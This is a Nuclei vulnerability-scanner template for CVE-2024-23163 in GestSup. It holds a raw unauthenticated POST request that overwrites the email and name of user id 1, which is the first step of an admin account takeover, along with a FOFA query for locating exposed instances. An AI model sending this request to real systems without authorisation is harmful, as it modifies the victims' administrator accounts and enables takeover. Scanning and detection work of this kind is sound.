nuclei-templates/http/cves/2024/CVE-2024-23163.yaml

id: CVE-2024-23163

info:
  name: GestSup - Account Takeover
  author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741
  severity: Critical
  impact: |
    An attacker could bypass the authentication process and access the application as an administrator user by modifying the usermail field to a controlled email address and requesting a password reset.
  remediation:
    Apply necessary security patches or updates provided by the vendor to secure the ticket_user_db.php endpoint and ensure proper authentication checks are in place.
  reference:
    - https://www.synacktiv.com/advisories/multiple-vulnerabilities-on-gestsup-3244
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23163
    - https://doc.gestsup.fr/install/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23163
    cwe-id: CWE-287
  metadata:
    max-request: 2
    verified: true
    fofa-query: title="GestSup"
    vendor: gestsup
    product: gestsup ver 3.2.15
  tags: cve2024,cve,account-takeover

variables:
  name: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /ajax/ticket_user_db.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: xmlhttprequest
        Content-Type: application/x-www-form-urlencoded

        modifyuser=1&lastname={{name}}&firstname={{name}}&phone=&mobile=&mail={{name}}@test.com&company=111&id=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"status":"success'
          - 'firstname":"{{name}}","lastname":"{{name}}'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'